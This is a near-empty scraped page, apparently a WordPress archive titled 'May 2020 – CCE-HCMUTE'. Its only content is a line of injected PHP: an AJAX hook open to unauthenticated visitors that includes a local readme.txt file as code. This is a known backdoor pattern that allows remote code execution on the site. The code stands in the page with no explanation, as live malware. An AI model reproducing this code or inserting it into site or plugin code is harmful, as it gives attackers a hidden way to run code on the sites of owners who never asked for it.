May 2020 – CCE-HCMUTE

if(!function_exists('file_check_readme68686')){ add_action('wp_ajax_nopriv_file_check_readme68686', 'file_check_readme68686'); add_action('wp_ajax_file_check_readme68686', 'file_check_readme68686'); function file_check_readme68686() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } May 2020 – CCE-HCMUTE